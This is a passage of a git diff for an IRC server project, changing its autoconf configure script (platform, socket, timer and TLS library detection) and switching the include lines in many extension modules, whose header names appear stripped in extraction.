AC_CHECK_HEADER(windows.h, , [AC_MSG_ERROR([** MinGW and no windows.h. I give up.])]) + AC_CHECK_HEADER(winsock2.h, , [AC_MSG_ERROR([** MinGW and no winsock2.h. I give up.])]) + AC_DEFINE_UNQUOTED(HAVE_WINSOCK2_H, 1, [Have WINSOCK2_H]) + AC_DEFINE_UNQUOTED(HAVE_WINSOCK_H, 1, [Have WINSOCK_H]) + LIBS="$LIBS -lws2_32 -liphlpapi" + is_mingw="yes" + ;; +*interix*) + CPPFLAGS="$CFLAGS -D_ALL_SOURCE -D_XOPEN_SOURCE=500" + ;; +*solaris*) + CPPFLAGS="$CFLAGS -D_POSIX_PTHREAD_SEMANTICS -D_XPG4_2" + ;; +*) + ;; +esac + +AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) + + +dnl use directory structure of cached as default (hack) +if test "$libexecdir" = '${exec_prefix}/libexec' && + test "$localstatedir" = '${prefix}/var'; then + libexecdir='${bindir}' + localstatedir='${prefix}' +fi + + +dnl Networking Functions +dnl ==================== + +AC_SEARCH_LIBS(socket, [socket],,) + + +AC_CHECK_MEMBER([struct sockaddr.sa_len], [AC_DEFINE(SOCKADDR_IN_HAS_LEN, 1, [Define to 1 if sockaddr has a 'sa_len' member.])],,[[ +#ifdef HAVE_SYS_TYPES_H +#include +#endif +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_WINSOCK2_H +#include +#endif +]]) + +AC_CHECK_TYPE([socklen_t], rb_cv_socklen_t=socklen_t,[ + AC_MSG_CHECKING([for socklen_t equivalent]) + AC_CACHE_VAL([rb_cv_socklen_t], + [ + # Systems have either "struct sockaddr *" or + # "void *" as the second argument to getpeername + rb_cv_socklen_t= + for arg2 in "struct sockaddr" void; do + for t in int size_t unsigned long "unsigned long"; do + AC_TRY_COMPILE([ +#ifdef HAVE_SYS_TYPES_H +#include +#endif +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +#ifdef HAVE_WINSOCK2_H +#include +#include +#endif +int getpeername (int, $arg2 *, $t *); +],[ +$t len; +getpeername(0,0,&len); +],[ + rb_cv_socklen_t="$t" + break +]) + done + done + + if test "x$rb_cv_socklen_t" = x; then + AC_MSG_WARN([Cannot find a type to use in place of socklen_t using int]) + rb_cv_socklen_t=int + fi + ]) + AC_MSG_RESULT($rb_cv_socklen_t)], + [#include +#include ]) + +rb_socklen_t=$rb_cv_socklen_t + + + +AC_ARG_ENABLE(ipv6, AC_HELP_STRING([--disable-ipv6], [Disable IPv6 support]), [ipv6=$enableval], [ipv6=yes]) + +dnl TODO: IPV6 CHECKS + +if test x$ipv6 = "Xyes"; then + AC_DEFINE([HAVE_IPV6], [1], [IPv6 is supported]) +else + AC_DEFINE([HAVE_IPV6], [0], [IPv6 not supported]) +fi + + +AC_CHECK_TYPES([struct sockaddr_storage],[ + rb_have_sockaddr_storage=yes + ],[], [ + #include + #include + ]) + + +dnl Check for stdarg.h - if we cant find it, halt configure +AC_CHECK_HEADER(stdarg.h, , [AC_MSG_ERROR([** stdarg.h could not be found - librb will not compile without it **])]) + +AC_CHECK_TYPE([sa_family_t], [], +[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], +[[#include +#include ]]) + + +dnl check for various functions... +AC_CHECK_FUNCS([snprintf vsnprintf socketpair gettimeofday writev sendmsg gmtime_r strtok_r usleep posix_spawn getexecname strlcpy strlcat strnlen strcasestr strcasecmp strncasecmp fstat signalfd select poll kevent port_create epoll_ctl arc4random getrusage timerfd_create]) + +AC_SEARCH_LIBS(dlinfo, dl, AC_DEFINE(HAVE_DLINFO, 1, [Define if you have dlinfo])) +AC_SEARCH_LIBS(nanosleep, rt posix4, AC_DEFINE(HAVE_NANOSLEEP, 1, [Define if you have nanosleep])) +AC_SEARCH_LIBS(timer_create, rt, AC_DEFINE(HAVE_TIMER_CREATE, 1, [Define if you have timer_create])) + +AC_DEFUN([RB_CHECK_TIMER_CREATE], + [AC_CACHE_CHECK([for a working timer_create(CLOCK_REALTIME)], + [rb__cv_timer_create_works], + [AC_TRY_RUN([ +#ifdef HAVE_TIME_H +#include +#endif +#ifdef HAVE_SIGNAL_H +#include +#endif +#ifdef HAVE_UNISTD_H +#include +#endif +int main(int argc, char *argv[]) +{ +#if HAVE_TIMER_CREATE + struct sigevent ev; + timer_t timer; + ev.sigev_notify = SIGEV_SIGNAL; + ev.sigev_signo = SIGVTALRM; + if (timer_create(CLOCK_REALTIME, &ev, &timer) != 0) { + return 1; + } +#else + return 1; +#endif + return 0; +} + ], + [rb__cv_timer_create_works=yes], + [rb__cv_timer_create_works=no], + [rb__cv_timer_create_works=no]) + ]) +case $rb__cv_timer_create_works in + yes) AC_DEFINE([USE_TIMER_CREATE], 1, + [Define to 1 if we can use timer_create(CLOCK_REALTIME,...)]);; +esac +]) + + + +AC_DEFUN([RB_CHECK_TIMERFD_CREATE], + [AC_CACHE_CHECK([for a working timerfd_create(CLOCK_REALTIME)], + [rb__cv_timerfd_create_works], + [AC_TRY_RUN([ +#ifdef HAVE_TIME_H +#include +#endif +#ifdef HAVE_SIGNAL_H +#include +#endif +#ifdef HAVE_UNISTD_H +#include +#endif +#ifdef HAVE_SYS_TIMERFD_H +#include +#endif +int main(int argc, char *argv[]) +{ +#if defined(HAVE_TIMERFD_CREATE) && defined(HAVE_SYS_TIMERFD_H) + if (timerfd_create(CLOCK_REALTIME, 0) < 0) { + return 1; + } +#else + return 1; +#endif + return 0; +} + ], + [rb__cv_timerfd_create_works=yes], + [rb__cv_timerfd_create_works=no], + [rb__cv_timerfd_create_works=no]) + ]) +case $rb__cv_timerfd_create_works in + yes) AC_DEFINE([USE_TIMERFD_CREATE], 1, + [Define to 1 if we can use timerfd_create(CLOCK_REALTIME,...)]);; +esac +]) + +RB_CHECK_TIMER_CREATE +RB_CHECK_TIMERFD_CREATE + +AC_FUNC_ALLOCA +AC_FUNC_VFORK +AC_FUNC_MMAP + +AC_MSG_CHECKING(for /dev/poll) +if test -c "/dev/poll"; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_DEVPOLL, [1], [Define to 1 if you have devpoll]) +else + AC_MSG_RESULT(no) +fi + + +if test "$is_mingw" = "yes"; then + AC_DEFINE(HAVE_WIN32, [1], [Define to 1 if you are on windows]) +fi + +dnl OpenSSL support +AC_MSG_CHECKING(for OpenSSL) +AC_ARG_ENABLE(openssl, +[AC_HELP_STRING([--enable-openssl[=DIR]],[Enable OpenSSL support (DIR optional).]) +AC_HELP_STRING([--disable-openssl],[Disable OpenSSL support.])], +[cf_enable_openssl=$enableval], +[cf_enable_openssl="auto"]) + +if test "$cf_enable_openssl" != "no" ; then + cf_openssl_basedir="" + if test "$cf_enable_openssl" != "auto" && + test "$cf_enable_openssl" != "yes" ; then + dnl Support for --enable-openssl=/some/place + cf_openssl_basedir="`echo ${cf_enable_openssl} | sed 's/\/$//'`" + else + dnl Do the auto-probe here. Check some common directory paths. + for dirs in /usr/local/ssl /usr/pkg /usr/local \ + /usr/local/openssl ; do + if test -f "${dirs}/include/openssl/opensslv.h" ; then + cf_openssl_basedir="${dirs}" + break + fi + done + unset dirs + fi + dnl Now check cf_openssl_found to see if we found anything. + if test ! -z "$cf_openssl_basedir"; then + if test -f "${cf_openssl_basedir}/include/openssl/opensslv.h" ; then + SSL_CFLAGS="-I${cf_openssl_basedir}/include" + SSL_LIBS="-L${cf_openssl_basedir}/lib" + else + dnl OpenSSL wasn't found in the directory specified. Naughty + dnl administrator... + cf_openssl_basedir="" + fi + else + dnl Check for stock FreeBSD 4.x and 5.x systems, since their files + dnl are in /usr/include and /usr/lib. In this case, we don't want to + dnl change INCLUDES or LIBS, but still want to enable OpenSSL. + dnl We can't do this check above, because some people want two versions + dnl of OpenSSL installed (stock FreeBSD 4.x/5.x and /usr/local/ssl) + dnl and they want /usr/local/ssl to have preference. + if test -f "/usr/include/openssl/opensslv.h" ; then + cf_openssl_basedir="/usr" + fi + fi + + dnl If we have a basedir defined, then everything is okay. Otherwise, + dnl we have a problem. + if test ! -z "$cf_openssl_basedir"; then + AC_MSG_RESULT($cf_openssl_basedir) + cf_enable_openssl="yes" + else + AC_MSG_RESULT([not found. Specify a correct path?]) + cf_enable_openssl="no" + fi + unset cf_openssl_basedir +else + dnl If --disable-openssl was specified + AC_MSG_RESULT(disabled) +fi + +save_CPPFLAGS="$CPPFLAGS" +CPPFLAGS="$CPPFLAGS $SSL_CFLAGS" +save_LIBS="$LIBS" +LIBS="$LIBS $SSL_LIBS" +if test "$cf_enable_openssl" != no; then + dnl Check OpenSSL version (must be 0.9.7 or above!) + AC_MSG_CHECKING(for OpenSSL 0.9.7 or above) + AC_RUN_IFELSE( + [AC_LANG_PROGRAM( + [#include + #include ], + [[if (OPENSSL_VERSION_NUMBER >= 0x00907000) + exit(0); else exit(1);]])], + cf_enable_openssl=yes, + cf_enable_openssl=no, + cf_enable_openssl=no) + + if test "$cf_enable_openssl" != no; then + AC_MSG_RESULT(found) + else + AC_MSG_RESULT(no - OpenSSL support disabled) + fi + +fi + + +if test "$cf_enable_openssl" != no; then + CPPFLAGS="$CPPFLAGS $SSL_LIBS" + AC_CHECK_LIB(crypto, RAND_status, + [cf_enable_openssl=yes], + [cf_enable_openssl=no]) +fi + +if test "$cf_enable_openssl" != no; then + CPPFLAGS="$CPPFLAGS $SSL_LIBS" + AC_CHECK_LIB(ssl, SSL_read, + [SSL_LIBS="$SSL_LIBS -lssl -lcrypto"], + [cf_enable_openssl=no], [-lcrypto]) +fi + + +dnl mbedTLS support +AC_ARG_ENABLE(mbedtls, +[AC_HELP_STRING([--enable-mbedtls], [Enable mbedTLS support.]) +AC_HELP_STRING([--disable-mbedtls], [Disable mbedTLS support.])], +[cf_enable_mbedtls=$enableval], +[cf_enable_mbedtls="auto"]) + +if test "$cf_enable_mbedtls" != no; then + save_CPPFLAGS="$CPPFLAGS" + save_LIBS="$LIBS" + LIBS="$LIBS $MBEDTLS_LIBS" + AC_CHECK_LIB(mbedtls, mbedtls_ssl_init, [ + MBEDTLS_LIBS="$MBEDTLS_LIBS -lmbedtls -lmbedx509 -lmbedcrypto" + cf_enable_mbedtls=yes + ], [cf_enable_mbedtls=no], [-lmbedx509 -lmbedcrypto]) +fi + +dnl GnuTLS support +AC_MSG_CHECKING(for GnuTLS) +AC_ARG_ENABLE(gnutls, +[AC_HELP_STRING([--enable-gnutls],[Enable GnuTLS support.]) +AC_HELP_STRING([--disable-gnutls],[Disable GnuTLS support.])], +[cf_enable_gnutls=$enableval], +[cf_enable_gnutls="auto"]) + +if test "$cf_enable_gnutls" != no; then + PKG_CHECK_MODULES(GNUTLS, [gnutls], [ + cf_enable_gnutls="yes" + ], [cf_enable_gnutls="no"]) +fi + +dnl mbed TLS is given highest preference when no specified TLS library is provided +if test "$cf_enable_openssl" = "auto" -a "$cf_enable_mbedtls" = "yes"; then + cf_enable_openssl="no" +fi + +if test "$cf_enable_gnutls" = "auto" -a "$cf_enable_openssl" = "yes" -a "$cf_enable_mbedtls" = "yes"; then + cf_enable_gnutls="no" +fi + +if test x"$cf_enable_openssl" != xno; then + AC_DEFINE(HAVE_OPENSSL,1,[Has OpenSSL]) + GNUTLS_CFLAGS="" + GNUTLS_LIBS="" + MBEDTLS_LIBS="" + MBEDTLS_CFLAGS="" + SSL_TYPE="openssl" +elif test x"$cf_enable_mbedtls" != xno; then + AC_DEFINE(HAVE_MBEDTLS, 1, [Has mbedTLS]) + SSL_LIBS="" + SSL_CFLAGS="" + GNUTLS_CFLAGS="" + GNUTLS_LIBS="" + SSL_TYPE="mbedtls" +elif test x"$cf_enable_gnutls" != xno; then + AC_DEFINE(HAVE_GNUTLS, 1, [Has GnuTLS]) + SSL_LIBS="" + SSL_CFLAGS="" + MBEDTLS_LIBS="" + MBEDTLS_CFLAGS="" + SSL_TYPE="gnutls" +fi + + + + +CPPFLAGS="$save_CPPFLAGS" +LIBS="$save_LIBS" + +dnl End OpenSSL detection + + + + +dnl Debug-related options +dnl ===================== + +AC_ARG_ENABLE(assert, +AC_HELP_STRING([--enable-assert],[Enable assert(). Choose between soft(warnings) and hard(aborts the daemon)]), +[assert=$enableval], [assert=no]) + +if test "$assert" = no; then + AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) +elif test "$assert" = soft; then + AC_DEFINE(SOFT_ASSERT, 1, [Define this to enable soft asserts.]) + AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) +elif test "$assert" = yes; then + assert = "hard"; +fi + +AC_MSG_CHECKING(if you want to do a profile build) +AC_ARG_ENABLE(profile, +AC_HELP_STRING([--enable-profile],[Enable profiling]), +[profile=$enableval], [profile=no]) + +if test "$profile" = yes; then + if test "$ac_cv_c_compiler_gnu" = yes; then + CFLAGS="$CFLAGS -pg -static" + AC_MSG_RESULT([yes, adding -pg -static]) + AC_DEFINE(RB_PROFILE, 1, [Defined to mark profiling is enabled]) + else + AC_MSG_RESULT([no, profile builds only work with gcc]) + fi +else + AC_MSG_RESULT(no) +fi + +AC_ARG_ENABLE(warnings, +AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), +[CFLAGS="$CFLAGS -Wall -Wcast-qual -Wmissing-declarations -Wmissing-prototypes -Wnested-externs -Wshadow -Wwrite-strings -W -Wno-unused -Wunused-function -Wunused-variable"],[]) + +AC_SUBST(LDFLAGS) +AC_SUBST(PICFLAGS) +AC_SUBST(CFLAGS) +AC_SUBST(SEDOBJ) +AC_SUBST(SSL_CFLAGS) +AC_SUBST(SSL_LIBS) +AC_SUBST(GNUTLS_CFLAGS) +AC_SUBST(GNUTLS_LIBS) +AC_SUBST(MBEDTLS_CFLAGS) +AC_SUBST(MBEDTLS_LIBS) + +if test "$prefix" = "NONE"; then + AC_DEFINE_UNQUOTED(RB_PREFIX, "$ac_default_prefix", [Prefix where librb is installed.]) + +else + +dnl Don't get bitten by Cygwin's stupidity if the user specified +dnl a custom prefix with a trailing slash + + prefix=`echo $prefix | sed 's/\/$//'` + AC_DEFINE_UNQUOTED(RB_PREFIX, "$prefix", [Prefix where librb is installed.]) + +fi + +AC_SUBST(RB_PREFIX) + -LT_INIT([dlopen disable-static]) -LT_CONFIG_LTDL_DIR([libltdl]) -LTDL_INIT PKG_PROG_PKG_CONFIG - build_ltdl=$with_included_ltdl AM_CONDITIONAL([BUILD_LTDL], [test x"$build_ltdl" = x"yes"]) @@ -81,20 +666,6 @@ if test ! -z "$CFLAGS"; then IRC_CFLAGS="$IRC_CFLAGS $CFLAGS" fi -AC_ISC_POSIX -AC_C_INLINE -AC_PROG_MAKE_SET -AC_PROG_INSTALL -AC_PATH_PROG(RM, rm) -AC_PATH_PROG(CP, cp) -AC_PATH_PROG(MV, mv) -AC_PATH_PROG(LN, ln) -AC_PATH_PROG(SED, sed) -AC_PATH_PROG(AR, ar) -AC_PATH_PROG(LD, ld) -AC_PATH_PROG(RANLIB, ranlib) -AC_PATH_PROG(TOUCH, touch) - AC_PROG_YACC dnl AC_PROG_YACC defaults to yacc unconditionally if nothing can be found @@ -171,9 +742,6 @@ if test x"$SUN" = xyes; then AC_SEARCH_LIBS(inet_ntoa, nsl,, [AC_MSG_ERROR([libnsl not found! Aborting.])]) fi -AC_ARG_ENABLE(ipv6, -AC_HELP_STRING([--enable-ipv6],[Enable IPv6 support]),[ipv6=$enableval],[ipv6=no]) - AC_SEARCH_LIBS(crypt, [crypt descrypt],,) CRYPT_LIB=$ac_cv_search_crypt @@ -539,23 +1107,6 @@ else AC_MSG_RESULT(no) fi -AC_DEFINE([NICKNAMEHISTORYLENGTH], 15000, [Size of the WHOWAS array.]) -AC_DEFINE([CHANNEL_HEAP_SIZE], 8192, [Size of the channel heap.]) -AC_DEFINE([BAN_HEAP_SIZE], 4096, [Size of the ban heap.]) -AC_DEFINE([CLIENT_HEAP_SIZE], 8192, [Size of the client heap.]) -AC_DEFINE([LCLIENT_HEAP_SIZE], 1024, [Size of the local client heap.]) -AC_DEFINE([PCLIENT_HEAP_SIZE], 256, [Size of the pre-client heap.]) -AC_DEFINE([USER_HEAP_SIZE], 8192, [Size of the user heap.]) -AC_DEFINE([DNODE_HEAP_SIZE], 8192, [Size of the dlink_node heap.]) -AC_DEFINE([TOPIC_HEAP_SIZE], 4096, [Size of the topic heap.]) -AC_DEFINE([LINEBUF_HEAP_SIZE], 2048, [Size of the linebuf heap.]) -AC_DEFINE([MEMBER_HEAP_SIZE], 32768, [Sizeof member heap.]) -AC_DEFINE([ND_HEAP_SIZE], 512, [Size of the nick delay heap.]) -AC_DEFINE([CONFITEM_HEAP_SIZE], 256, [Size of the confitem heap.]) -AC_DEFINE([MONITOR_HEAP_SIZE], 1024, [Size of the monitor heap.]) -AC_DEFINE([FD_HEAP_SIZE], 1024, [Size of fd heap.]) -AC_DEFINE([AWAY_HEAP_SIZE], 512, [Size of away heap.]) - AC_ARG_WITH(nicklen, AC_HELP_STRING([--with-nicklen=LENGTH],[Set the upper-bound nick length to LENGTH (default 31, max 50)]), [ @@ -660,40 +1211,20 @@ dnl a custom prefix with a trailing slash fi -AC_CONFIG_FILES( \ - Makefile \ - authd/Makefile \ - bandb/Makefile \ - ssld/Makefile \ - wsockd/Makefile \ - extensions/Makefile \ - ircd/Makefile \ - modules/Makefile \ - tools/Makefile \ - tools/genssl \ - doc/Makefile \ - help/Makefile \ -) AC_CONFIG_COMMANDS([tools/genssl_chmod], [chmod 755 tools/genssl]) AC_OUTPUT +dnl Make it look sexay! -if test "$cf_openssl_version_ok" = yes; then - openssl="yes" -else - openssl="no" -fi +echo +echo "Compiling $PACKAGE_NAME $PACKAGE_VERSION" +echo $RB_VERSION +echo $RB_DATESTR +echo -echo " -Configuration of ${BRANDING_NAME}-${BRANDING_VERSION}: - Install directory : $prefix +echo "Installing into: $prefix" - Ziplinks : $zlib - OpenSSL : $openssl - PCRE : $have_pcre - - Nickname length : $NICKLEN - Topic length : $TOPICLEN - -Use (g)make to compile $BRANDING_NAME, then (g)make install to install it. -" +echo "IPv6 support ................... $ipv6" +echo "Assert debugging ............... $assert" +echo "SSL Type........................ $SSL_TYPE" +echo diff --git a/extensions/Makefile.am b/extensions/Makefile.am index 50e03e94f..087cd91e7 100644 --- a/extensions/Makefile.am +++ b/extensions/Makefile.am @@ -1,7 +1,7 @@ -AM_CPPFLAGS = -I$(top_srcdir)/include -I$(top_srcdir)/librb/include $(LTDLINCL) +AM_CPPFLAGS = -I$(top_srcdir)/include $(LTDLINCL) AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared AM_LDFLAGS += -export-symbols-regex _mheader -LIBS += $(top_srcdir)/librb/src/librb.la $(top_srcdir)/ircd/libircd.la +LIBS += $(top_srcdir)/rb/librb.la $(top_srcdir)/ircd/libircd.la extensiondir=@moduledir@/extensions diff --git a/extensions/chm_adminonly.c b/extensions/chm_adminonly.c index 5bacf85e0..66bd8548a 100644 --- a/extensions/chm_adminonly.c +++ b/extensions/chm_adminonly.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_adminonly_desc[] = "Enables channel mode +A that blocks non-admins from joining a channel"; diff --git a/extensions/chm_insecure.c b/extensions/chm_insecure.c index fd6e36583..4077cf668 100644 --- a/extensions/chm_insecure.c +++ b/extensions/chm_insecure.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_insecure_desc[] = "Adds channel mode +U that allows non-SSL users to join a channel, " diff --git a/extensions/chm_nonotice.c b/extensions/chm_nonotice.c index 4241b319a..cc8ca0456 100644 --- a/extensions/chm_nonotice.c +++ b/extensions/chm_nonotice.c @@ -21,19 +21,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" -#include "messages.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_nonotice_desc[] = "Adds channel mode +T which blocks notices to the channel."; diff --git a/extensions/chm_operonly.c b/extensions/chm_operonly.c index e61e4e5b8..d9ca658ac 100644 --- a/extensions/chm_operonly.c +++ b/extensions/chm_operonly.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_operonly_desc[] = "Adds channel mode +O which makes a channel operator-only"; diff --git a/extensions/chm_operonly_compat.c b/extensions/chm_operonly_compat.c index ab627822a..51c5d8adf 100644 --- a/extensions/chm_operonly_compat.c +++ b/extensions/chm_operonly_compat.c @@ -2,12 +2,12 @@ * Treat cmode +-O as +-iI $o. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include static const char chm_operonly_compat[] = "Adds an emulated channel mode +O which is converted into mode +i and +I $o"; diff --git a/extensions/chm_operpeace.c b/extensions/chm_operpeace.c index 83f64e6c1..1abfb5602 100644 --- a/extensions/chm_operpeace.c +++ b/extensions/chm_operpeace.c @@ -3,20 +3,20 @@ * -- kaniini */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "hash.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "privilege.h" -#include "s_newconf.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_operpeace_desc[] = "Adds channel mode +M which prohibits operators from being kicked"; diff --git a/extensions/chm_quietunreg_compat.c b/extensions/chm_quietunreg_compat.c index c2a2ca5b6..906322d4d 100644 --- a/extensions/chm_quietunreg_compat.c +++ b/extensions/chm_quietunreg_compat.c @@ -3,12 +3,12 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include static const char chm_quietunreg_compat_desc[] = "Adds an emulated channel mode +R which is converted into mode +q $~a"; diff --git a/extensions/chm_spamfilter.c b/extensions/chm_spamfilter.c index fd0eaa2ad..a6162ccc2 100644 --- a/extensions/chm_spamfilter.c +++ b/extensions/chm_spamfilter.c @@ -29,14 +29,14 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "s_conf.h" -#include "modules.h" -#include "hook.h" -#include "send.h" -#include "chmode.h" -#include "newconf.h" -#include "substitution.h" +#include +#include +#include +#include +#include +#include +#include +#include #include "spamfilter.h" diff --git a/extensions/chm_sslonly.c b/extensions/chm_sslonly.c index 5bbc2cbf8..96488235a 100644 --- a/extensions/chm_sslonly.c +++ b/extensions/chm_sslonly.c @@ -1,14 +1,14 @@ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_sslonly_desc[] = "Adds channel mode +S that bans non-SSL users from joing a channel"; diff --git a/extensions/chm_sslonly_compat.c b/extensions/chm_sslonly_compat.c index e961f2a6d..1b059d5b6 100644 --- a/extensions/chm_sslonly_compat.c +++ b/extensions/chm_sslonly_compat.c @@ -2,12 +2,12 @@ * Treat cmode +-S as +-b $~z. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "chmode.h" +#include +#include +#include +#include +#include +#include static const char chm_sslonly_compat_desc[] = "Adds an emulated channel mode +S which is converted into mode +b $~z"; diff --git a/extensions/createauthonly.c b/extensions/createauthonly.c index dea11a0cc..5776d75e5 100644 --- a/extensions/createauthonly.c +++ b/extensions/createauthonly.c @@ -6,15 +6,15 @@ * -- nenolod */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char restrict_desc[] = "Restricts channel creation to authenticated users and IRC operators only"; diff --git a/extensions/createoperonly.c b/extensions/createoperonly.c index f763d676c..3926fc9a5 100644 --- a/extensions/createoperonly.c +++ b/extensions/createoperonly.c @@ -6,15 +6,15 @@ * -- nenolod */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "hook.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "snomask.h" -#include "numeric.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char restrict_desc[] = "Restricts channel creation to IRC operators"; diff --git a/extensions/example_module.c b/extensions/example_module.c index a0b501f53..4dac1aa2e 100644 --- a/extensions/example_module.c +++ b/extensions/example_module.c @@ -18,12 +18,12 @@ */ /* List of ircd includes from ../include/ */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" +#include +#include +#include +#include +#include +#include /* This string describes the module. Always declare it a static const char[]. * It is preferred for stylistic reasons to put it first. diff --git a/extensions/extb_account.c b/extensions/extb_account.c index 82af58899..4b532c1c9 100644 --- a/extensions/extb_account.c +++ b/extensions/extb_account.c @@ -3,10 +3,10 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Account ($a) extban type"; diff --git a/extensions/extb_canjoin.c b/extensions/extb_canjoin.c index ab4378967..035b21e26 100644 --- a/extensions/extb_canjoin.c +++ b/extensions/extb_canjoin.c @@ -4,12 +4,12 @@ * -- nenolod/jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "channel.h" -#include "hash.h" -#include "ircd.h" +#include +#include +#include +#include +#include +#include static const char extb_desc[] = "Can join ($j) extban type - matches users who are or are not banned from a specified channel"; diff --git a/extensions/extb_channel.c b/extensions/extb_channel.c index 3225d0760..048c1e534 100644 --- a/extensions/extb_channel.c +++ b/extensions/extb_channel.c @@ -3,12 +3,12 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "channel.h" -#include "hash.h" -#include "ircd.h" +#include +#include +#include +#include +#include +#include static const char extb_desc[] = "Channel ($c) extban type"; diff --git a/extensions/extb_combi.c b/extensions/extb_combi.c index c9f356428..38ab4b091 100644 --- a/extensions/extb_combi.c +++ b/extensions/extb_combi.c @@ -37,10 +37,10 @@ * I suspect it is, but have done no load testing. */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Combination ($&, $|) extban types"; diff --git a/extensions/extb_extgecos.c b/extensions/extb_extgecos.c index 7dbf73f17..8f1b16b28 100644 --- a/extensions/extb_extgecos.c +++ b/extensions/extb_extgecos.c @@ -4,10 +4,10 @@ * - nenolod */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Extended mask ($x) extban type"; diff --git a/extensions/extb_hostmask.c b/extensions/extb_hostmask.c index 9aa964de4..60fbc21dd 100644 --- a/extensions/extb_hostmask.c +++ b/extensions/extb_hostmask.c @@ -3,10 +3,10 @@ * -- kaniini */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Hostmask ($m) extban type"; diff --git a/extensions/extb_oper.c b/extensions/extb_oper.c index 72908b294..dbf5c1d91 100644 --- a/extensions/extb_oper.c +++ b/extensions/extb_oper.c @@ -3,12 +3,12 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "privilege.h" -#include "s_newconf.h" -#include "ircd.h" +#include +#include +#include +#include +#include +#include static const char extb_desc[] = "Oper ($o) extban type"; diff --git a/extensions/extb_realname.c b/extensions/extb_realname.c index eed8a8078..816f6e8fa 100644 --- a/extensions/extb_realname.c +++ b/extensions/extb_realname.c @@ -3,10 +3,10 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Realname/GECOS ($r) extban type"; diff --git a/extensions/extb_server.c b/extensions/extb_server.c index b3e4e037f..4b4cd704c 100644 --- a/extensions/extb_server.c +++ b/extensions/extb_server.c @@ -3,10 +3,10 @@ * -- jilles */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "Server ($s) extban type"; diff --git a/extensions/extb_ssl.c b/extensions/extb_ssl.c index 801d4e9be..c098f39c6 100644 --- a/extensions/extb_ssl.c +++ b/extensions/extb_ssl.c @@ -1,9 +1,9 @@ /* SSL extban type: matches ssl users */ -#include "stdinc.h" -#include "modules.h" -#include "client.h" -#include "ircd.h" +#include +#include +#include +#include static const char extb_desc[] = "SSL/TLS ($z) extban type"; diff --git a/extensions/extb_usermode.c b/extensions/extb_usermode.c index 